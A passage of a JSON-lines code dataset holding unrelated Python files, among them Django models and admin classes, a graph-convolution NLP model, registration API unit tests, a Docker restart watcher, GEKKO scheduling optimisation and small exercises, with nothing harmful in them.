orderNo\n\nclass OrderMain(CommonFields):\n user = models.ForeignKey(settings.AUTH_USER_MODEL, related_name=predicateDict[\"OrderMain.user\"], default=1, verbose_name = \"创建人\")\n slot = models.ForeignKey(Slot, related_name=\"orders\", on_delete=models.SET_NULL, blank=True, null=True, verbose_name = \"货道\")\n product = models.ForeignKey(Product, related_name=\"orders\", on_delete=models.SET_NULL, blank=True, null=True, verbose_name = \"商品\")\n itemCount = models.PositiveSmallIntegerField(default=1, validators=[MaxValueValidator(64), MinValueValidator(1)])\n orderNo = models.CharField(\"订单号\", max_length=8, default=createOrderNo)\n payType = models.CharField(\"支付类型\", max_length=1, choices=PayType, default=\"0\")\n status = models.CharField(\"订单状态\", max_length=1, choices=Status, default = '0')\n totalPaid = models.DecimalField(\"支付金额\", max_digits=3, decimal_places=0)\n class Meta:\n verbose_name = verbose_name_plural = \"09. 订单查看\"\n def __str__(self):\n return self.orderNo\n\n\n\ndef createTotalPaid(instance):\n product = Product.objects.get(pk=instance.product.id)\n return product.saleUnitPrice * instance.itemCount;\n\ndef pre_save_vm_receiver(sender, instance, *args, **kwargs):\n if not instance.orderNo:\n instance.orderNo = createOrderNo(instance)\n if not instance.totalPaid:\n instance.totalPaid = createTotalPaid(instance)\n\n\npre_save.connect(pre_save_vm_receiver, sender=OrderMain)","sub_path":"django/localomd/localomddata/models/ordermain.py","file_name":"ordermain.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"598894978","text":"from openpyxl import load_workbook\nfrom singleton import Singleton\n\nclass handleExcelData(Singleton):\n def __init__(self, excel_path, name=None):\n self.execl_path = excel_path\n self.name = name\n wb = load_workbook(self.execl_path)\n if self.name is None:\n self.ws = wb.active\n\n else:\n self.ws = wb[self.name]\n self.head_date_tuple = tuple(self.ws.iter_rows(max_row=1, values_only=True))[0]\n # self.head_date_tuple=[i.value for i in self.ws[1]]\n\n def getExcelData(self):\n\n one_list = []\n for one_tuple in tuple(self.ws.iter_rows(min_row=2, values_only=True)):\n one_list.append(dict(zip(self.head_date_tuple, one_tuple)))\n return one_list\n # rows=list(self.ws.rows)\n # datas=[]\n # for row in rows[1:]:\n # data=[]\n # for cell in row:\n # data.append(cell.value)\n # data_dict=dict(zip(self.head_date_tuple,data))\n # datas.append(data_dict)\n # return datas\n\n\n def write_data(self, row, request):\n if isinstance(row, int) and (2 <= row <= self.ws.max_row):\n self.ws.cell(row, column=self.head_date_tuple.index(\"request\") + 1, value=request)\n self.ws.save(self.execl_path)\n\n\nif __name__ == '__main__':\n do_excelData = handleExcelData(excel_path=\"D:\\demo\\新建 XLSX 工作表.xlsx\")\n do_excelData.getExcelData()\n","sub_path":"webDemo/common/handleExecl.py","file_name":"handleExecl.py","file_ext":"py","file_size_in_byte":1437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"245888755","text":"\"\"\"\nGCN model for relation extraction.\n\"\"\"\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nimport numpy as np\n\nfrom model.layers import GCN, pool\nfrom model.tree import Tree, head_to_tree, tree_to_adj\nfrom utils import constant, torch_utils\n\nclass GCNClassifier(nn.Module):\n \"\"\" A wrapper classifier for GCNRelationModel. \"\"\"\n def __init__(self, opt, emb_matrix=None):\n super().__init__()\n self.gcn_model = GCNRelationModel(opt, emb_matrix=emb_matrix)\n in_dim = opt['hidden_dim']\n self.classifier = nn.Linear(in_dim, opt['num_class'])\n self.opt = opt\n\n def conv_l2(self):\n return self.gcn_model.gcn.conv_l2()\n\n def forward(self, inputs):\n outputs, pooling_output = self.gcn_model(inputs)\n logits = self.classifier(outputs)\n return logits, pooling_output\n\nclass GCNRelationModel(nn.Module):\n def __init__(self, opt, emb_matrix=None):\n super(GCNRelationModel, self).__init__()\n self.opt = opt\n self.emb_matrix = emb_matrix\n\n # create embedding layers\n self.emb = nn.Embedding(opt['vocab_size'], opt['emb_dim'], padding_idx=constant.PAD_ID)\n self.pos_emb = nn.Embedding(len(constant.POS_TO_ID), opt['pos_dim']) if opt['pos_dim'] > 0 else None\n self.ner_emb = nn.Embedding(len(constant.NER_TO_ID), opt['ner_dim']) if opt['ner_dim'] > 0 else None\n\n embeddings = (self.emb, self.pos_emb, self.ner_emb)\n self.init_embeddings()\n\n self.gcn = GCN(opt, embeddings, opt['hidden_dim'], opt['num_layers'])\n\n # output mlp layers\n in_dim = opt['hidden_dim'] * 3\n\n layers = [nn.Linear(in_dim, opt['hidden_dim']), nn.ReLU()]\n for _ in range(self.opt['mlp_layers'] - 1):\n layers += [nn.Linear(opt['hidden_dim'], opt['hidden_dim']), nn.ReLU()]\n self.out_mlp = nn.Sequential(*layers)\n \n def init_embeddings(self):\n if self.emb_matrix is None:\n self.emb.weight.data[1:, :].unifrom_(-1.0, 1.0)\n else:\n self.emb_matrix = torch.from_numpy(self.emb_matrix)\n self.emb.weight.data.copy_(self.emb_matrix)\n # decide finetuning\n if self.opt['topn'] <= 0:\n print(\"Do not finetune word embedding layer.\")\n self.emb.weight.requires_grad = False\n elif self.opt['topn'] < self.opt['vocab_size']:\n print(\"Finetune top {} word embeddings.\".format(self.opt['topn']))\n self.emb.weight.register_hook(lambda x: \\\n torch_utils.keep_partial_grad(x, self.opt['topn']))\n else:\n print(\"Finetune all embeddings.\")\n \n def forward(self, inputs):\n words, masks, pos, ner, deprel, head, subj_pos, obj_pos, subj_type, obj_type = inputs # unpack\n seq_length = (masks.data.cpu().numpy() == 0).astype(np.int64).sum(1)\n maxlen = max(seq_length)\n\n def inputs_to_tree_reps(head, words, l, prune, subj_pos, obj_pos):\n head, words, subj_pos, obj_pos = head.cpu().numpy(), words.cpu().numpy(), subj_pos.cpu().numpy(), obj_pos.cpu().numpy()\n trees = [head_to_tree(head[i], words[i], l[i], prune, subj_pos[i], obj_pos[i]) for i in range(len(l))]\n adj = [tree_to_adj(maxlen, tree, directed=False, self_loop=False).reshape(1, maxlen, maxlen) for tree in trees]\n adj = np.concatenate(adj, axis=0)\n adj = torch.from_numpy(adj)\n return Variable(adj.cuda()) if self.opt['cuda'] else Variable(adj)\n \n adj = inputs_to_tree_reps(head.data, words.data, seq_length, self.opt['prune_k'], subj_pos.data, obj_pos.data)\n h, pool_mask = self.gcn(adj, inputs)\n\n # pooling\n # pooling\n subj_mask, obj_mask = subj_pos.eq(0).eq(0).unsqueeze(2), obj_pos.eq(0).eq(0).unsqueeze(2) # invert mask\n pool_type = self.opt['pooling']\n h_out = pool(h, pool_mask, type=pool_type)\n subj_out = pool(h, subj_mask, type=pool_type)\n obj_out = pool(h, obj_mask, type=pool_type)\n outputs = torch.cat([h_out, subj_out, obj_out], dim=1)\n outputs = self.out_mlp(outputs)\n return outputs, h_out\n","sub_path":"model/cgcn.py","file_name":"cgcn.py","file_ext":"py","file_size_in_byte":4184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"385154976","text":"#!/usr/bin/env python\n\n# -*- coding:utf-8 -*-\n\n#An Algorithm for Matching Delimiters\n#page 239\nimport stack2\n\ndef is_matched(expr):\n\t\"\"\"\n\t\treturn True if all delimiters are properly match;\n\t\"\"\"\n\n\tlefty = '({['\n\trighty = ')}]'\n\n\tS = stack2.ArrayStack()\n\n\tprint (type(S))\n\n\tfor c in expr:\n\t\tif c in lefty:\n\t\t\tS.push(c)\n\t\telif c in righty:\n\t\t\tif S.is_empty:\n\t\t\t\treturn False\n\t\t\tif righty.index(c) != lefty.index(S.pop()):\n\t\t\t\treturn False\n\t\treturn S.is_empty()\n\t\t\n\ndef is_matched_html(raw):\n\tS = ArrayStack()\n\tj = raw.find('<')\n\twhile j != -1:\n\t\tk = raw.find('>', j+1)\n\t\tif k == -1:\n\t\t\treturn False\n\t\ttag = raw[j+1:k]\n\t\tif not tag.startswith('/'):\n\t\t\tS.push(tag)\n\t\telse:\n\t\t\tif S.is_empty():\n\t\t\t\treturn False\n\tj = raw.find('<', k + 1)\n\n\treturn S.is_empty()\n","sub_path":"dataStructor/stack_matched.py","file_name":"stack_matched.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"388564691","text":"from torchvision import datasets, transforms\nfrom torch.utils.data import DataLoader\n\nfrom config import MNIST_PATH, BATCH_SIZE_TRAIN, BATCH_SIZE_TEST, MNIST_INFO\n\n\ntransform = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((MNIST_INFO['MEAN'],), (MNIST_INFO['STD'],))\n])\n\n\ndef load_data(train=True, transforms=transforms) -> DataLoader:\n data_set = datasets.MNIST(MNIST_PATH, download=True, train=train, transform=transform)\n batch_size = BATCH_SIZE_TRAIN if train else BATCH_SIZE_TEST\n data_loader = DataLoader(data_set, batch_size=batch_size, shuffle=True)\n\n return data_loader\n","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"75286059","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@Time : 2020/10/12 9:13\n@Author : liufubin\n@FileName: test_registry_api.py\n@description: 华润项目填写注册接口请求\n\"\"\"\nimport unittest\nimport random\nimport time\nfrom public_method.request_method import RequestMethod\nfrom request_date.china_resource.registry_request import RegistryRequestDate\nfrom public_method.connect_redis import ConnectRedis\n\n\nclass TestRegistryRequest(unittest.TestCase):\n isskip = ['yes']\n\n def setUp(self) -> None:\n pass\n\n # @unittest.skipIf(isskip == 'no', '用例跳过')\n def test_didnot_apply_code(self):\n \"\"\"未申请验证码注册场景，没有调用获取验证码接口\"\"\"\n response = RequestMethod.http_post_method(requesturl=RegistryRequestDate.registry_request_url,\n headers=RegistryRequestDate.registry_request_header,\n body=RegistryRequestDate.registry_request_body)\n response = response.json()\n self.assertTrue(response['data']['message'] == '未申请验证码' and response['data']['code'] == 407, '没有申请验证码未报未申请验证码的错')\n\n # @unittest.skipIf(isskip == 'no', '用例跳过')\n def test_normal_registry(self):\n \"\"\"正常注册，先调用获取验证码接口，得到code和cookie，请求注册接口\"\"\"\n registry_cellphone = random.randint(10000000, 99999999) # 获取手机号后八位随机号码\n registry_time = time.time() # 获取当前时间时间戳\n get_session, getresponse = RequestMethod.request_get_method( # 调获取code接口，会在redis中生成code码\n 'http://mom-test.simuwang.com/momapi/v1/system/userMgt/'\n 'getSmsCode?mobile=130{}®isterOrNot=true&'\n 't={}'\n .format(registry_cellphone, registry_time))\n cookie_value = 'JSESSIONID={}'.format(get_session['JSESSIONID'])\n registry_code = ConnectRedis().redis_get('\"USER_CELLPHOME_130{}\"'.format(registry_cellphone)) # 获取redis中的code码\n # registry_code = int(re.sub(\"\\\"\", '', registry_code))\n print(registry_code)\n registry_code = registry_code.replace(\"\\\"\", \"\") # 因为redis的数据是带双引号的，需要去除\n RegistryRequestDate.registry_request_body['code'] = registry_code\n RegistryRequestDate.registry_request_body['cellphone'] = '130{}'.format(registry_cellphone)\n RegistryRequestDate.registry_request_header['Cookie'] = cookie_value # 请求header需要带cookie\n response = RequestMethod.http_post_method(requesturl=RegistryRequestDate.registry_request_url, # 调用注册接口\n headers=RegistryRequestDate.registry_request_header,\n body=RegistryRequestDate.registry_request_body)\n del RegistryRequestDate.registry_request_header['Cookie']\n response = response.json()\n self.assertTrue(response['data']['result'] == 'success' and response['data']['code'] == 200, '注册失败，该用例应该注册成功')\n\n # @unittest.skipIf(isskip == 'no', '用例跳过')\n def test_already_registry_cellphone(self):\n \"\"\"手机号与申请的手机号不一致，先调用获取验证码接口，得到code和cookie，请求注册接口\"\"\"\n registry_cellphone = random.randint(10000000, 99999999) # 获取手机号后八位随机号码\n registry_time = time.time() # 获取当前时间时间戳\n get_session, getresponse = RequestMethod().request_get_method('http://192.168.1.37:8080' # 调code接口\n '/momapi/v1/system/userMgt/getSmsCode?'\n 'mobile=130{}&®isterOrNot=truet={}'\n .format(registry_cellphone, registry_time))\n print(get_session)\n cookie_value = 'JSESSIONID={}'.format(get_session['JSESSIONID'])\n registry_code = ConnectRedis().redis_get('USER_CELLPHOME_130{}'.format(registry_cellphone)) # 获取redis中的code码\n # registry_code = int(re.sub(\"\\\"\", '', registry_code))\n registry_code = registry_code.replace(\"\\\"\", \"\") # 因为redis的数据是带双引号的，需要去除\n RegistryRequestDate.registry_request_body['code'] = registry_code\n RegistryRequestDate.registry_request_body['cellphone'] = '13055866828'\n RegistryRequestDate.registry_request_header['Cookie'] = cookie_value # 请求header需要带cookie\n response = RequestMethod().http_post_method(requesturl=RegistryRequestDate.registry_request_url, # 调用注册接口\n headers=RegistryRequestDate.registry_request_header,\n body=RegistryRequestDate.registry_request_body)\n del RegistryRequestDate.registry_request_header['Cookie'] # 删除hreder字段中的cookie，避免影响其他用例\n response = response.json()\n self.assertTrue(response['data']['message'] == '手机号与申请验证码的手机号不一致'\n and response['data']['code'] == 407, '手机号不一致没有报不一致错误')\n\n # def test_delete_user(self):\n # \"\"\"删除自动化跑的用户，先找出创建的，并提取返回元组中的userid，逐条调用删除接口删除\"\"\"\n # sql = \"SELECT \tuserid FROM rz_combination_master.cm_user WHERE username LIKE '姓名%'\"\n # sql_result = ConnectMysql().fetchall(sql)\n # print(type(sql_result))\n # for i in sql_result:\n # response = RequestMethod.request_delete_method('http://192.168.1.37:8080/momapi/v1/'\n # 'system/userMgt/delUserByUserId?userId={}'.format(i[0]))\n # print(response)\n\n\nif __name__ == '__main__':\n # registry_response = RegistryRequest()\n TestRegistryRequest().test_normal_registry()\n","sub_path":"test_case/custom_system/china_resource/test_registry_api.py","file_name":"test_registry_api.py","file_ext":"py","file_size_in_byte":6291,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"200146699","text":"# -*- coding: UTF-8 -*-\nimport docker\n\nclient = docker.from_env()\n\n\nclass ContainerStatus(object):\n exited = 'exited'\n running = 'running'\n restarting = 'restarting'\n paused = 'paused'\n\n\ndef print_container(container):\n print(f'{container.short_id} {container.name} {container.status}')\n\n\ndef report_all_containers():\n for c in client.containers.list(all=True):\n print_container(c)\n\n\ndef run():\n for event in client.events(decode=True):\n if event.get('Type') == 'container':\n name = event.get('from')\n container = client.containers.get(name)\n if container is None:\n print(f'container \"{name}\" not found')\n continue\n\n if container.status == ContainerStatus.exited:\n container.start()\n container.reload()\n","sub_path":"moni/watcher.py","file_name":"watcher.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"3499325","text":"from gekko import GEKKO\nimport networkx as nx\nimport random\nimport plotly.figure_factory as ff\nfrom fractions import Fraction as frac\n\n\ndef init_solver(mrt, G, num_tasks, w, order, task_scaling=False):\n \"\"\"\n prepares the optimization equation by adding the necessary constraints\n :param mrt: Boolean variable that is True if objective is to optimize for \n MRT + E, False if objective is to optimize Makespan + E.\n :param G: DAG to schedule\n :param num_tasks: total number of tasks\n :param order: ordering\n :param task_scaling: Boolean whether to scale tasks or not\n :return: m, s, c\n \"\"\"\n m = GEKKO()\n\n # Use IPOPT solver (default)\n m.options.SOLVER = 3\n\n # Change to parallel linear solver\n m.solver_options = ['linear_solver ma97']\n\n # create array\n s = m.Array(m.Var, num_tasks)\n for i in range(num_tasks):\n s[i].value = 2.0\n s[i].lower = 0\n\n # define completion time of each task\n c = m.Array(m.Var, num_tasks)\n for i in range(num_tasks):\n c[i].value = 0\n c[i].lower = 0\n\n # 1b\n # task's completion time must be later than the time to run task itself\n for i in range(num_tasks):\n m.Equation(w[i] / s[i] <= c[i])\n\n # 1c\n # task must start later than all ancestors\n for i in range(num_tasks):\n for j in nx.algorithms.ancestors(G, i):\n m.Equation(c[j] + (w[i] / s[i]) <= c[i])\n\n\n # task must start later than previous task on machine\n resource_constraints = get_resource_constraints(order)\n for constraint in resource_constraints:\n task = constraint[1]\n prev = constraint[0]\n m.Equation(c[prev] + (w[task] / s[task]) <= c[task])\n\n # all tasks on single machine must run at same speed\n if not task_scaling:\n for machine in order:\n for i in range(len(machine)):\n if i != len(machine)-1:\n m.Equation(s[machine[i]] == s[machine[i+1]])\n\n P = m.Var(value=5, lb=0)\n m.Equation(m.sum([w[j] * s[j] for j in range(num_tasks)]) == P)\n\n M = m.Var(value=5, lb=0)\n MRT = m.Var(value=5, lb=0)\n\n\n for j in range(num_tasks):\n m.Equation(c[j] <= M)\n\n for lst in order:\n m.Equation(sum([w[i] / s[i] for i in lst]) <= M)\n\n # define MRT\n m.Equation(m.sum([c[j] for j in range(num_tasks)]) == MRT)\n\n if mrt: \n m.Obj(MRT + P)\n\n else:\n\n m.Obj(P + M) # Objective\n\n \n return m, s, c\n\n\ndef init_opt_solver(mrt, G, num_tasks, num_machines, w):\n \"\"\"\n prepares the optimization equation by adding the necessary constraints\n :param mrt: Boolean variable that is True if objective is to optimize for \n MRT + E, False if objective is to optimize Makespan + E.\n :param G: DAG to schedule\n :param num_tasks: total number of tasks\n :param w: weights\n :return: m, s, c\n \"\"\"\n m = GEKKO()\n\n # Use IPOPT solver (default)\n m.options.SOLVER = 3\n\n # Change to parallel linear solver\n m.solver_options = ['minlp_max_iter_with_int_sol 10000']\n\n # create array\n s = m.Array(m.Var, num_tasks)\n for i in range(num_tasks):\n s[i].value = 2.0\n s[i].lower = 0\n\n # define completion time of each task\n c = m.Array(m.Var, num_tasks)\n for i in range(num_tasks):\n c[i].value = 0\n c[i].lower = 0\n\n x = [[m.sos1([0,1]) for j in range(num_tasks)] for i in range(num_machines)]\n\n #Yu's constraints that you can uncomment\n p = [[m.sos1([0,1]) for j in range(num_tasks)] for j_prime in range(num_tasks)] \n b = [[m.sos1([0,1]) for j in range(num_tasks)] for j_prime in range(num_tasks)] \n\n # 1a\n # each task will be assigned to exactly one machine\n for j in range(num_tasks):\n m.Equation(m.sum([x[i][j] for i in range(num_machines)]) == 1)\n\n # 1b\n # task's completion time must be later than the time to run task itself\n for j in range(num_tasks):\n m.Equation( w[j] / s[j] <= c[j])\n\n # 1c\n # task must start later than all ancestors\n for j in range(num_tasks):\n for k in nx.algorithms.ancestors(G, j):\n m.Equation(c[k] + (w[j] / s[j]) <= c[j])\n\n M = m.Var(value=5, lb=0)\n P = m.Var(value=5, lb=0)\n MRT = m.Var(value=5, lb=0)\n\n # Yu's constraints that you can uncomment\n for j_prime in range(num_tasks):\n for j in range(num_tasks):\n if j != j_prime:\n m.Equation(m.sum([x[i][j] * x[i][j_prime] for i in range(num_machines)]) == p[j][j_prime])\n\n for j_prime in range(num_tasks):\n for j in range(num_tasks):\n if j != j_prime:\n m.Equation(p[j][j_prime] * (c[j] - c[j_prime] + (w[j_prime] / s[j_prime])) <= b[j][j_prime] * (\n M - c[j_prime] + (w[j_prime] / s[j_prime])))\n m.Equation(b[j][j_prime] * (c[j_prime] + (w[j]/s[j])) <= p[j][j_prime] * c[j])\n m.Equation(b[j][j_prime] <= p[j][j_prime])\n b[j][j_prime] = m.if3(b[j_prime][j] - 1, 1, 0)\n\n\n # Total load assigned to each machine should not be greater than the makespan\n for i in range(num_machines):\n m.Equation(m.sum([w[j] * x[i][j] / s[j] for j in range(num_tasks)]) <= M)\n\n # 1e (define M in objective function)\n for j in range(num_tasks):\n m.Equation(c[j] <= M)\n\n # define P in objective function\n m.Equation(m.sum([w[j] * s[j] for j in range(num_tasks)]) == P)\n\n # define MRT\n m.Equation(m.sum([c[j] for j in range(num_tasks)]) == MRT)\n\n if mrt: \n m.Obj(MRT + P)\n\n else:\n\n m.Obj(P + M) # Objective\n \n\n # Old Objective\n # m.Obj(sum([int(v[i]) / s[i] + s[i] for i in range(len(v))]))\n\n # objective for mean completion time\n \n return x, m, s, c\n\ndef get_resource_constraints(order):\n \"\"\"\n gets resource constraints for a given ordering\n :param order:\n :return: resource constraints\n \"\"\"\n resource_constraints = []\n for machine in order:\n for i in range(len(machine)):\n if i != len(machine) -1:\n task = machine[i]\n next_task = machine[i+1]\n resource_constraints.append([task, next_task])\n\n return resource_constraints\n\n\ndef solver_results(x, s, m, c, w, order=False, verbose=True):\n \"\"\"\n solves the optimization equation\n :param s: speeds\n :param m: gekko model\n :param c: completion times\n :param verbose: boolean to print or not\n :param order: optional order to print or not\n :return: task_process_time, ending times, intervals, speeds, objective value\n \"\"\"\n\n #m.Obj(O) # Objective\n\n try:\n m.options.IMODE = 3 # Steady state optimization\n m.solve(disp=verbose) # Solve\n\n except:\n print(\"Did not work\")\n if order!=False:\n print(\"Order is \", order)\n return order, [-1]*len(s), [-1]*len(s), [-1,-1]*len(s),[-1]*len(s), 10000000\n\n task_process_time = [frac(w[i] / frac(s[i].value[0])) for i in range(len(s))]\n ending_time = [frac(c[i].value[0]) for i in range(len(c))]\n intervals = [[end - process_time, end] for (process_time, end) in zip(task_process_time, ending_time)]\n speeds = [frac(s[i].value[0]) for i in range(len(s))]\n\n task_process_time = [float(process_time.__round__(5)) for process_time in task_process_time]\n ending_time = [float(end_time.__round__(5)) for end_time in ending_time]\n intervals = [[float(interval[0].__round__(5)), float(interval[1].__round__(5))] for interval in intervals]\n speeds = [float(speed.__round__(5)) for speed in speeds]\n \n if verbose:\n print('Results')\n for i in range(len(s)):\n print(str(i) + \" Speed: \" + str(s[i].value) + \" Ending Time: \" + str(c[i].value) + \" Interval: \" +\n str(intervals[i]) + \" Task process time: \" + str(task_process_time[i]))\n print('Objective: ' + str(m.options.objfcnval))\n\n\n if x != None: \n order = create_order(x, c)\n else:\n order = None\n\n return order, task_process_time, ending_time, intervals, speeds, float(frac(m.options.objfcnval).__round__(5))\n\n\n\n\n\n\n\ndef create_order(x, c):\n\n order = []\n \n num_machines = len(x)\n num_tasks = len(c)\n\n for i in range(num_machines):\n machine_unordered = []\n for j in range(num_tasks):\n if int(round(x[i][j].value[0])) == 1:\n machine_unordered.append((c[j].value[0], j))\n\n machine_sorted = sorted(machine_unordered)\n machine_order = []\n \n for k in range(len(machine_sorted)):\n \n machine_order.append(machine_sorted[k][1])\n order.append(machine_order)\n \n\n return order\n\ndef get_objective(ending_times, speeds):\n \"\"\"\n Calculates objective given a schedule\n :param ending_times: completion times for a task\n :param speeds: speeds of tasks running\n :return:\n \"\"\"\n return sum([ending_times[i] + speeds[i] for i in range(len(speeds))])\n\n\ndef get_machines(order, num_tasks):\n \"\"\"\n returns list of task machine mappings\n :param order: order of tasks across machines\n :param num_tasks: number of total tasks\n :return:\n \"\"\"\n machines = num_tasks * [-1]\n for machine_index in range(len(order)):\n for task in order[machine_index]:\n machines[task] = machine_index\n return machines\n\n\ndef make_task_metadata(order, num_tasks, intervals):\n \"\"\"\n makes data ready to be plotted on a pretty gantt chart\n :param order: machine task ordering\n :param num_tasks: total number of tasks for the dag\n :param intervals: start end time 2d list\n :return: a dict of metadata with subdict for fields\n \"\"\"\n task_metadata = {}\n machines = get_machines(order, num_tasks)\n for task_name in range(len(intervals)):\n\n task_metadata[task_name] = {'start': intervals[task_name][0], 'end': intervals[task_name][1],\n 'task': task_name, 'machine': machines[task_name]}\n return task_metadata\n\n\ndef plot_gantt(task_metadata, objective_value, color_palette):\n \"\"\"\n plots the task_speed_scaling gantt chart given the metadata\n :param task_metadata: metadata\n :param objective_value: value of objective for current value\n :param color_palette: rgb tuples for colors to use\n :return:\n \"\"\"\n df = []\n colors = {}\n # print(task_metadata)\n for task_key in task_metadata:\n task = task_metadata[task_key]\n df.append(dict(Task=str(\"Machine \" + str(task['machine'])), Start=task['start'], Finish=task['end'], Machine=task['task']))\n if task['task'] < len(color_palette):\n color = color_palette[task['task']]\n else:\n color = (random.uniform(0, 1), random.uniform(0, 1), random.uniform(0, 1))\n color_palette.append(color)\n colors[task['task']] = color\n title = \"Speed Scaling Gantt Chart for Objective: \" + str(objective_value)\n fig = ff.create_gantt(df, colors=colors, index_col='Machine', show_colorbar=True, group_tasks=True, showgrid_x=True, showgrid_y=True, title=title)\n fig.update_xaxes(type='linear')\n fig.show(\"notebook\")\n return color_palette\n\n\nif __name__ == \"__main__\":\n dag = nx.DiGraph()\n dag.add_nodes_from(range(9))\n dag.add_edges_from([(0, 2), (2, 3), (2, 4), (3, 5), (4, 5), (5, 6), (6, 7), (7, 8)])\n\n # Sample test\n order = [[0, 2, 3, 5, 6, 7, 8], [4, 1]]\n v = [9, 1, 8, 5, 2, 4, 3, 2, 1]\n m, s, c = init_solver(dag, v, order)\n task_processing_time, ending_time, intervals, obj = solver_results(s, m, c)\n task_metadata = make_task_metadata(order, 9, intervals)\n plot_gantt(task_metadata, obj)\n print(\"finished test hopefully it worked\")","sub_path":"conjecture/optimization_functions.py","file_name":"optimization_functions.py","file_ext":"py","file_size_in_byte":11676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"450643123","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.utils.translation import gettext_lazy as _\n\nfrom import_export.admin import ImportExportModelAdmin\nfrom import_export.fields import Field\nfrom import_export import resources\n\nfrom fleet_management.models import Car, Drive, User, Project, Refuel\n\n\nclass CountryFilter(admin.SimpleListFilter):\n title = _(\"Country\")\n parameter_name = \"country\"\n\n def lookups(self, request, model_admin):\n objects = model_admin.model.objects.distinct(self.parameter_name)\n countries = [(o.country.code, o.country.name) for o in objects]\n countries = sorted(countries, key=lambda c: c[1]) # sort by name, A-Z\n return [(\"ALL\", _(\"Global\"))] + countries\n\n def queryset(self, request, queryset):\n value = self.value()\n\n # \"ALL\" is special value used for showing global users (with empty country)\n if value == \"ALL\":\n value = \"\"\n\n if value is not None:\n return queryset.filter(**{self.parameter_name: value})\n\n return queryset\n\n\nclass DriveResource(resources.ModelResource):\n diff_mileage = Field(attribute=\"diff_mileage\")\n fuel_consumption = Field(attribute=\"fuel_consumption\")\n\n class Meta:\n model = Drive\n fields = (\n \"id\",\n \"date\",\n \"country\",\n \"is_verified\",\n \"project__title\",\n \"description\",\n \"start_mileage\",\n \"end_mileage\",\n \"diff_mileage\",\n \"start_location\",\n \"end_location\",\n \"driver\",\n \"passenger\",\n \"car__plates\",\n \"fuel_consumption\",\n )\n export_order = fields\n\n def dehydrate_country(self, drive):\n return str(drive.country.name)\n\n def dehydrate_driver(self, drive):\n return str(drive.driver)\n\n def dehydrate_passenger(self, drive):\n return str(drive.passenger)\n\n\n@admin.register(Drive)\nclass DriveAdmin(ImportExportModelAdmin):\n resource_class = DriveResource\n list_filter = (CountryFilter,)\n list_display = (\n \"date\",\n \"start_location\",\n \"end_location\",\n \"driver\",\n \"passenger\",\n \"country\",\n \"is_verified\",\n )\n\n\n@admin.register(Car)\nclass CarAdmin(admin.ModelAdmin):\n list_filter = (CountryFilter,)\n list_display = (\"plates\", \"description\", \"fuel_consumption\", \"country\")\n\n\n@admin.register(Project)\nclass ProjectAdmin(admin.ModelAdmin):\n list_filter = (CountryFilter,)\n list_display = (\"title\", \"country\")\n\n\n@admin.register(User)\nclass CustomUserAdmin(UserAdmin):\n list_filter = (\"groups\", CountryFilter)\n list_display = (\n \"username\",\n \"first_name\",\n \"last_name\",\n \"country\",\n \"is_staff\",\n \"last_seen\",\n )\n\n fieldsets = (\n (None, {\"fields\": (\"username\", \"password\")}),\n (\n _(\"Personal info\"),\n {\"fields\": (\"first_name\", \"last_name\", \"email\", \"country\")},\n ),\n (\n _(\"Permissions\"),\n {\n \"fields\": (\n \"is_active\",\n \"is_staff\",\n \"is_superuser\",\n \"groups\",\n \"user_permissions\",\n )\n },\n ),\n (_(\"Important dates\"), {\"fields\": (\"last_seen\", \"last_login\", \"date_joined\")}),\n )\n\n\n@admin.register(Refuel)\nclass RefuelAdmin(admin.ModelAdmin):\n list_filter = (\n \"driver\",\n \"car\",\n )\n list_display = (\n \"driver\",\n \"car\",\n \"date\",\n \"current_mileage\",\n \"refueled_liters\",\n \"price_per_liter\",\n \"total_cost\",\n )\n","sub_path":"backend/fleet_management/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":3736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"277387585","text":"# -*- coding: utf-8 -*-\n\n# (цикл while)\n\n# даны целые положительные числа a и b (a > b)\n# с a на b, с помощью цикла while,\n# __НЕ__ используя стандартную операцию целочисленного деления (// и %)\n# Формат вывода:\n# Целочисленное деление ХХХ на YYY дает ZZZ\n\na, b = 142523, 4435\n\nwhile a > b:\n result = int(a / b)\n print('Целочисленное деление', a, 'на', b, 'дает', result)\n break\nelse:\n print('некорректный ввод')","sub_path":"lesson_003/03_division.py","file_name":"03_division.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"313217448","text":"import argparse\nimport sentencepiece as spm\n\nif __name__ == \"__main__\":\n\t\n\tparser = argparse.ArgumentParser(description='learn bpe like a pro')\n\tparser.add_argument('--input', '-i', type=str, help='input file')\n\tparser.add_argument('--model', '-m', type=str, help='Model prefix')\n\tparser.add_argument('--vocab_size', '-v', type=int, help='vocab size')\n\targs = parser.parse_args()\n\n\tspm.SentencePieceTrainer.Train(f\"--model_type=bpe --input={args.input} --model_prefix={args.model} --vocab_size={args.vocab_size}\")\n\t\n","sub_path":"utils/bpe-learn.py","file_name":"bpe-learn.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"} +{"seq_id":"645406358","text":"def move(no, x, y):\r\n \"\"\"원반을 no개를 X 기둥에서 y 기둥으로 